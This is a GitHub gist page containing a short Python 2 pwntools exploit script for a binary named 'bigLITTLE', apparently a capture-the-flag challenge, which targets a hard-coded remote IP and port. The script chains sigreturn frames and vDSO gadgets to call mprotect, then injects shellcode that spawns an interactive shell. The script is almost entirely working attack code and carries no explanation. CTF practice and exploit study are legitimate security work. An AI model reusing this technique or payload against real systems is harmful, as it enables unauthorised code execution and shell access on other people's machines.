Skip to content

Instantly share code, notes, and snippets.

@bennofs
Created November 6, 2017 18:36
Show Gist options
  • Save bennofs/e97a38fd763881616674ef6900e24dde to your computer and use it in GitHub Desktop.
Save bennofs/e97a38fd763881616674ef6900e24dde to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
from pwn import *
context.bits = 64
context.arch = "amd64"
# exe = context.binary = ELF("./bigLITTLE")
io = remote("54.178.214.211", 3573) if args.REMOTE else process("./bigLITTLE")
vdso_base = 0x5fe000
pop_rax = (vdso_base + 0x000008bd) if args.REMOTE else (vdso_base + 0x00000000000008ad)
#pivot_stack = vdso_base + 0x00000e2f
base = 0x602000
frame = SigreturnFrame()
frame.rip = 0x4000f0
frame.rsp = base
io.send(fit({
0x0: 0x601000,
0x8: [
pop_rax,
15,
0x00400105,
frame,
]
}))
io.clean(timeout=1)
frame = SigreturnFrame()
frame.rip = 0x00400105
frame.rsp = base + 0x1f0
frame.rax = 10
frame.rdi = base
frame.rsi = 0x1000
frame.rdx = 7
gdb.attach(io)
io.send(fit({
0x0: 0x601000,
0x8: [
pop_rax,
15,
0x00400105,
frame,
],
0x200: 0x601000,
0x208: [
base + 0x4f0,
],
0x500: asm(shellcraft.sh())
}))
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment